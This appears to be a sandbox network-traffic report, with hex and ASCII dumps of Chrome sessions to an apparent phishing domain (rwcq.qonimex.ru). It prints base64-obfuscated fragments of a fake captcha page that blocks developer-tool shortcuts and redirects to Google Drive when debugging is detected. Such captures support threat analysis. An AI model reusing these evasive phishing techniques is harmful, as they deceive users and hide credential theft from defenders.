2024-11-26 05:40:45 UTC	613	IN	Data Raw: 31 4a 31 51 79 4e 7a 63 2b 4e 53 31 56 52 54 39 47 51 31 73 2b 53 6d 46 56 52 31 35 64 4a 7a 35 7a 61 56 31 45 54 31 64 77 53 6c 4e 44 57 56 64 65 64 6b 31 59 63 6b 4b 46 63 6f 55 2b 51 6d 46 56 69 58 5a 61 6a 6f 56 47 58 45 6c 7a 53 32 4e 77 68 56 46 72 69 6f 35 6b 6a 49 2b 61 61 6f 39 39 6e 6e 56 31 58 58 39 66 67 6e 5a 2f 59 33 6c 70 6a 35 42 2b 6f 34 75 4c 67 6f 47 44 6f 35 47 44 73 62 57 4e 72 37 4a 32 6d 6f 75 43 6f 35 53 66 6a 37 69 6a 70 70 66 44 6f 36 36 68 6d 35 37 52 73 39 57 6a 6e 70 61 52 71 36 58 56 73 36 6d 35 6c 75 47 7a 30 61 76 55 76 37 44 44 30 63 4b 31 36 72 79 2b 79 4c 76 62 33 72 7a 70 35 65 50 42 76 39 58 6e 77 37 6a 48 7a 66 33 72 30 74 62 69 7a 2f 4c 30 2f 4e 2f 33 32 64 58 44 31 64 2f 5a 35 4d 38 41 7a 65 58 67 42 4e 48 6a 46 67 Data Ascii: 1J1QyNzc+NS1VRT9GQ1s+SmFVR15dJz5zaV1ET1dwSlNDWVdedk1YckKFcoU+QmFViXZajoVGXElzS2NwhVFrio5kjI+aao99nnV1XX9fgnZ/Y3lpj5B+o4uLgoGDo5GDsbWNr7J2mouCo5Sfj7ijppfDo66hm57Rs9WjnpaRq6XVs6m5luGz0avUv7DD0cK16ry+yLvb3rzp5ePBv9Xnw7jHzf3r0tbiz/L0/N/32dXD1d/Z5M8AzeXgBNHjFg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49753	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:46 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:47 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 05:40:46 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: ZRVari/+9/DaXtL6YArvRJOUrSY6wRrVnm8=$PPlcDV7Vithv0RYG Server: cloudflare CF-RAY: 8e878bb0dc4e0f75-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:40:47 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49756	104.21.72.174	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:48 UTC	715	OUT	GET /Q7boMM5R/ HTTP/1.1 Host: rwcq.qonimex.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://uotdoc.bestdealspk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:49 UTC	1227	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mYio0rKwEEC1QUpivOWaW8Jl2AE%2B82vwBhmbfI8X6%2BkA%2BLo89vLgTLsaXDQUczBtYkubmBe9Wx7%2Bz1z9t8RkIiXNq%2Fj90W0QWROjkig1re3a8KIuKXY7rI9ay2RDlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=84011&sent=34&recv=21&lost=0&retrans=0&sent_bytes=40794&recv_bytes=3384&delivery_rate=518761&cwnd=186&unsent_bytes=0&cid=21ccb4c0656b29dc&ts=148258&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkFvQXdEUUFSSUNOMGN0dG9YRm4vWlE9PSIsInZhbHVlIjoiZzBuTGJMZDErckpmaG9kc1JlTURIL29nYk1mU2YzeVhubnI5S3dMZlFRQzVmTWVNMk9uT25sS0tUVm1qQmFxY2M2ckhzTWt5TzhRRUlkL2VXb0ZaQnNsY2l1cEV0SVhMMWt0RXBGMTE1MmRJdDlacUpKUzdjVjVmTGZBM0d0WW4iLCJtYWMiOiI4NmQ3NmI4ZDM1NzkyMDg4NjJkYTEwYTNkODcxMDU5ZWM3MzQ3Y2RmZGYyY2M1OWExYzQ2MDI5OWMyMmRjYjk2IiwidGFnIjoiIn0%3D; expires=Tue, 26-Nov-2024 07:40:48 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-11-26 05:40:49 UTC	707	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 42 6a 64 45 39 4a 64 7a 45 78 64 30 52 6b 64 6a 4e 47 56 6c 4e 48 64 55 56 46 65 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 58 68 46 4f 58 70 72 62 45 4a 33 65 6b 78 68 4f 56 49 31 4f 45 39 30 4f 58 6f 32 54 55 78 76 51 53 39 50 4f 47 74 6f 59 30 5a 54 53 6c 6c 55 54 6d 35 6d 52 57 6c 53 53 30 6f 7a 62 48 64 74 53 57 4e 51 64 33 5a 6f 54 58 52 69 54 6a 6b 76 52 32 74 75 4e 6d 64 49 62 55 5a 77 56 32 31 73 61 30 55 7a 4e 6b 46 4f 63 6c 56 52 5a 31 68 70 55 30 74 33 4d 6b 56 59 52 57 38 79 56 57 6c 6c 4e 32 52 4f 5a 46 64 49 65 47 31 61 59 6e 63 76 63 55 64 46 4d 53 39 33 63 30 56 6a 53 6e 46 59 4e 6b 4e 35 56 45 31 71 63 44 41 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlBjdE9JdzExd0RkdjNGVlNHdUVFeUE9PSIsInZhbHVlIjoiSXhFOXprbEJ3ekxhOVI1OE90OXo2TUxvQS9POGtoY0ZTSllUTm5mRWlSS0ozbHdtSWNQd3ZoTXRiTjkvR2tuNmdIbUZwV21sa0UzNkFOclVRZ1hpU0t3MkVYRW8yVWllN2ROZFdIeG1aYncvcUdFMS93c0VjSnFYNkN5VE1qcDA
2024-11-26 05:40:49 UTC	1369	IN	Data Raw: 38 35 32 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 79 64 32 4e 52 4c 6e 46 76 62 6d 6c 74 5a 58 67 75 63 6e 55 76 55 54 64 69 62 30 31 4e 4e 56 49 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a Data Ascii: 852<script>if(atob("aHR0cHM6Ly9yd2NRLnFvbmltZXgucnUvUTdib01NNVIv") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ
2024-11-26 05:40:49 UTC	768	IN	Data Raw: 54 59 76 64 58 4e 6c 63 6d 6c 75 64 47 56 79 4c 6e 42 75 5a 79 49 70 4f 77 30 4b 49 43 41 67 49 47 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 63 32 6c 36 5a 54 6f 67 59 32 39 32 5a 58 49 37 44 51 6f 67 49 43 41 67 59 6d 46 6a 61 32 64 79 62 33 56 75 5a 43 31 77 62 33 4e 70 64 47 6c 76 62 6a 6f 67 59 32 56 75 64 47 56 79 4f 77 30 4b 49 43 41 67 49 47 5a 70 62 48 52 6c 63 6a 6f 67 59 6d 78 31 63 69 67 78 4e 48 42 34 4b 54 73 4e 43 69 41 67 49 43 42 36 4c 57 6c 75 5a 47 56 34 4f 69 41 74 4d 54 73 4e 43 6e 30 4e 43 69 35 6a 62 32 35 30 5a 57 35 30 49 48 73 4e 43 69 41 67 49 43 42 77 62 33 4e 70 64 47 6c 76 62 6a 6f 67 63 6d 56 73 59 58 52 70 64 6d 55 37 44 51 6f 67 49 43 41 67 65 69 31 70 62 6d 52 6c 65 44 6f 67 4d 54 73 4e 43 69 41 67 49 43 42 6b 61 58 4e 77 Data Ascii: TYvdXNlcmludGVyLnBuZyIpOw0KICAgIGJhY2tncm91bmQtc2l6ZTogY292ZXI7DQogICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyOw0KICAgIGZpbHRlcjogYmx1cigxNHB4KTsNCiAgICB6LWluZGV4OiAtMTsNCn0NCi5jb250ZW50IHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgei1pbmRleDogMTsNCiAgICBkaXNw
2024-11-26 05:40:49 UTC	1369	IN	Data Raw: 64 63 36 0d 0a 69 62 33 4a 6b 5a 58 49 74 63 6d 46 6b 61 58 56 7a 4f 69 41 30 63 48 67 37 44 51 6f 67 49 43 41 67 59 6d 39 34 4c 58 4e 6f 59 57 52 76 64 7a 6f 67 4d 48 42 34 49 44 4a 77 65 43 41 30 63 48 67 67 63 6d 64 69 59 53 67 77 4c 43 41 77 4c 43 41 77 4c 43 41 77 4c 6a 49 70 4f 77 30 4b 49 43 41 67 49 48 42 76 63 32 6c 30 61 57 39 75 4f 69 42 79 5a 57 78 68 64 47 6c 32 5a 54 73 4e 43 6e 30 4e 43 67 30 4b 4c 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 68 6c 59 32 74 69 62 33 67 67 65 77 30 4b 49 43 41 67 49 47 52 70 63 33 42 73 59 58 6b 36 49 47 5a 73 5a 58 67 37 44 51 6f 67 49 43 41 67 59 57 78 70 5a 32 34 74 61 58 52 6c 62 58 4d 36 49 47 4e 6c 62 6e 52 6c 63 6a 73 4e 43 69 41 67 49 43 42 77 62 33 4e 70 64 47 6c 76 62 6a 6f 67 63 6d 56 73 59 58 52 70 64 Data Ascii: dc6ib3JkZXItcmFkaXVzOiA0cHg7DQogICAgYm94LXNoYWRvdzogMHB4IDJweCA0cHggcmdiYSgwLCAwLCAwLCAwLjIpOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICBwb3NpdGlvbjogcmVsYXRpd
2024-11-26 05:40:49 UTC	1369	IN	Data Raw: 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 73 62 33 49 36 49 32 59 35 5a 6a 6c 6d 4f 54 73 4e 43 69 42 69 62 33 4a 6b 5a 58 49 36 4e 6e 42 34 49 48 4e 76 62 47 6c 6b 49 43 4d 30 5a 44 6b 77 5a 6d 55 37 44 51 6f 67 59 6d 39 79 5a 47 56 79 4c 58 4a 68 5a 47 6c 31 63 7a 6f 7a 4e 6e 42 34 4f 77 30 4b 49 47 4a 76 63 6d 52 6c 63 69 31 69 62 33 52 30 62 32 30 74 59 32 39 73 62 33 49 36 64 48 4a 68 62 6e 4e 77 59 58 4a 6c 62 6e 51 37 44 51 6f 67 59 6d 39 79 5a 47 56 79 4c 58 4a 70 5a 32 68 30 4c 57 4e 76 62 47 39 79 4f 6e 52 79 59 57 35 7a 63 47 46 79 5a 57 35 30 4f 77 30 4b 49 47 68 6c 61 57 64 6f 64 44 6f 7a 4e 6e 42 34 4f 77 30 4b 49 47 39 31 64 47 78 70 62 6d 55 36 4d 44 73 4e 43 69 42 77 62 33 4e 70 64 47 6c 76 62 6a 70 68 59 6e 4e 76 62 48 56 30 5a 54 Data Ascii: hY2tncm91bmQtY29sb3I6I2Y5ZjlmOTsNCiBib3JkZXI6NnB4IHNvbGlkICM0ZDkwZmU7DQogYm9yZGVyLXJhZGl1czozNnB4Ow0KIGJvcmRlci1ib3R0b20tY29sb3I6dHJhbnNwYXJlbnQ7DQogYm9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50Ow0KIGhlaWdodDozNnB4Ow0KIG91dGxpbmU6MDsNCiBwb3NpdGlvbjphYnNvbHV0ZT
2024-11-26 05:40:49 UTC	795	IN	Data Raw: 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6b 61 58 4e 77 62 47 46 35 4f 69 42 6d 62 47 56 34 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6d 62 47 56 34 4c 57 52 70 63 6d 56 6a 64 47 6c 76 62 6a 6f 67 59 32 39 73 64 57 31 75 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 36 49 47 5a 73 5a 58 67 74 5a 57 35 6b 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6f 5a 57 6c 6e 61 48 51 36 49 44 51 77 4d 48 42 34 4f 79 41 4e 43 69 41 67 49 43 42 39 44 51 6f 6a 59 32 46 77 64 47 4e 6f 59 57 46 75 64 33 4e 6c 63 6d 56 79 63 69 42 37 44 51 70 6b 61 58 4e 77 62 47 46 35 4f 69 42 75 62 32 35 6c 4f 77 30 4b 5a 6d 39 75 64 43 31 6d 59 57 31 70 62 48 6b 36 49 48 4e 35 63 33 52 6c 62 53 31 31 61 54 73 4e 43 6d 4e Data Ascii: ew0KICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kOw0KICAgICAgICBoZWlnaHQ6IDQwMHB4OyANCiAgICB9DQojY2FwdGNoYWFud3NlcmVyciB7DQpkaXNwbGF5OiBub25lOw0KZm9udC1mYW1pbHk6IHN5c3RlbS11aTsNCmN
2024-11-26 05:40:49 UTC	1369	IN	Data Raw: 63 61 62 0d 0a 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 5a 6d 46 73 63 32 55 37 44 51 6f 67 49 43 41 67 66 51 30 4b 44 51 6f 67 49 43 41 67 61 57 59 67 4b 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 34 4e 53 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 7a 4d 70 49 48 78 38 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 Data Ascii: cabXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5
2024-11-26 05:40:49 UTC	1369	IN	Data Raw: 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 49 43 68 7a 59 56 4e 58 61 6d 64 35 54 47 74 53 49 43 30 67 63 47 46 6b 53 6d 74 42 53 55 56 6a 57 69 41 2b 49 48 52 68 5a 48 42 56 65 57 52 68 53 31 55 67 4a 69 59 67 49 55 31 56 61 6b 46 4d 5a 6c 56 6f 59 57 6b 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 45 31 56 61 6b 46 4d 5a 6c 56 6f 59 57 6b 67 50 53 42 30 63 6e 56 6c 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 64 32 6c 75 5a 47 39 33 4c 6d 78 76 59 32 46 30 61 57 39 75 4c 6e 4a 6c 63 47 78 68 59 32 55 6f 4a 32 68 30 64 48 42 7a 4f 69 38 76 5a 48 4a 70 64 6d 55 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 63 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 44 51 6f 67 Data Ascii: WFuY2Uubm93KCk7DQogICAgICAgIGlmIChzYVNXamd5TGtSIC0gcGFkSmtBSUVjWiA+IHRhZHBVeWRhS1UgJiYgIU1VakFMZlVoYWkpIHsNCiAgICAgICAgICAgIE1VakFMZlVoYWkgPSB0cnVlOw0KICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJ2h0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbScpOw0KICAgICAgICB9DQog
2024-11-26 05:40:49 UTC	512	IN	Data Raw: 55 72 62 45 4a 4f 54 33 52 44 54 6b 39 30 51 30 35 50 63 45 4e 4f 52 55 64 46 4f 48 56 6f 52 45 31 36 54 32 39 56 65 6b 39 76 56 58 70 48 62 46 56 6c 64 45 4e 4f 5a 54 46 45 54 58 70 50 62 31 55 72 65 45 52 4f 54 33 52 44 54 6b 39 30 51 6b 35 45 54 32 35 56 64 58 42 44 54 6b 52 54 62 31 56 31 64 45 4e 4e 4b 33 42 44 54 6b 52 4c 62 6c 56 6c 64 45 4e 4f 52 45 39 76 56 58 70 54 62 31 56 71 54 32 39 56 61 6b 39 76 56 57 70 54 62 6c 56 45 54 32 35 56 64 58 52 44 54 6d 56 30 52 45 35 51 4f 58 70 4c 52 55 64 46 4f 44 42 48 52 54 67 77 52 30 55 35 52 45 74 75 56 58 56 30 51 30 35 45 54 32 39 56 65 6c 4e 73 56 58 70 50 62 31 56 36 54 32 39 56 65 6c 4e 75 56 58 56 30 51 30 35 56 52 30 59 35 52 55 4e 44 4f 45 52 50 62 31 55 76 61 54 64 43 56 45 39 75 56 58 56 30 51 Data Ascii: UrbEJOT3RDTk90Q05PcENORUdFOHVoRE16T29Vek9vVXpHbFVldENOZTFETXpPb1UreEROT3RDTk90Qk5ET25VdXBDTkRTb1V1dENNK3BDTkRLblVldENORE9vVXpTb1VqT29Vak9vVWpTblVET25VdXRDTmV0RE5QOXpLRUdFODBHRTgwR0U5REtuVXV0Q05ET29VelNsVXpPb1V6T29VelNuVXV0Q05VR0Y5RUNDOERPb1UvaTdCVE9uVXV0Q
2024-11-26 05:40:49 UTC	1369	IN	Data Raw: 37 38 36 0d 0a 52 6a 6c 71 55 32 78 56 54 33 42 44 54 6d 56 6f 51 30 34 76 64 54 68 43 56 55 64 46 4f 56 41 72 4c 30 46 51 65 54 68 43 56 46 4e 34 56 46 56 70 52 79 39 36 55 33 46 57 54 33 52 44 54 6c 42 31 4e 30 45 76 62 54 68 43 4d 45 4e 46 4f 47 74 44 52 44 6c 45 4e 6b 59 33 5a 6d 6b 32 51 6c 56 48 52 54 6c 45 56 32 35 56 64 6e 45 34 51 6b 39 73 52 45 35 46 53 30 59 34 4c 33 55 34 51 6b 56 48 52 6a 6c 46 53 30 59 35 5a 58 68 45 54 6b 39 77 52 45 35 51 63 54 64 43 52 45 39 74 56 57 70 58 61 6c 6f 76 65 54 68 43 5a 6e 55 33 51 6d 59 72 4e 30 46 32 64 54 64 42 4d 45 64 46 4f 44 42 48 52 54 6c 50 64 45 4a 4f 55 48 55 33 51 6d 5a 78 4f 45 4a 46 52 30 59 35 52 45 39 76 56 58 5a 74 4e 30 4a 6d 63 54 64 43 51 7a 5a 70 57 46 42 78 4f 45 4a 51 64 54 64 42 4d 45 Data Ascii: 786RjlqU2xVT3BDTmVoQ04vdThCVUdFOVArL0FQeThCVFN4VFVpRy96U3FWT3RDTlB1N0EvbThCMENFOGtDRDlENkY3Zmk2QlVHRTlEV25VdnE4Qk9sRE5FS0Y4L3U4QkVHRjlFS0Y5ZXhETk9wRE5QcTdCRE9tVWpXaloveThCZnU3QmYrN0F2dTdBMEdFODBHRTlPdEJOUHU3QmZxOEJFR0Y5RE9vVXZtN0JmcTdCQzZpWFBxOEJQdTdBME

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49758	151.101.2.137	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:50 UTC	621	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rwcq.qonimex.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:51 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2581726 Date: Tue, 26 Nov 2024 05:40:51 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740038-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 0 X-Timer: S1732599651.224337,VS0,VE1 Vary: Accept-Encoding
2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
